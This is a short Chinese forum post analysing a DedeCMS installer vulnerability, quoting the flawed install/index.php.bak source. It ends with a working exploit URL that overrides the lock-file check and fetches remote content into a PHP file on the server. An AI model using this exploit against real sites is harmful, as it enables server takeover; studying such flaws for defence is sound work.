我是从安全参考上看到这一篇文章,作者:yaseng 。
但是我自己亲自测试了一下,果然存在这个漏洞。
给大家讲下,
Dedecms对于安装程序的处理方法就是重命名install.php+lock文件验证,改install.php
位install.php.bak但是在apache 对这类型文件会解析成php,即可以执行之,对于lock
文件验证,不是还有dedecms的全局变量注册机制。
我以前还没注意,在是在Apache下的确有这个漏洞,看index.php.bak第29行
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
第36行
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
第374行
else if($step==11)
{
require_once('../data/admin/config_update.php');
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,'w');
if(fwrite($fp,$sql_content))
echo ' [√] 存在(您可以选择安装进行体验)';
else
echo ' [×] 远程获取失败';
unset($sql_content);
fclose($fp);
exit();
}
看到了有fwrite 而且install_demo_name可控 ,所以最终的exp为
http://www.xxx.com/install/index.php.bak?step=11&install_demo_name=../data/1.php&insLockfile=aaasd&updateHost=http://localhost/&s_lang=x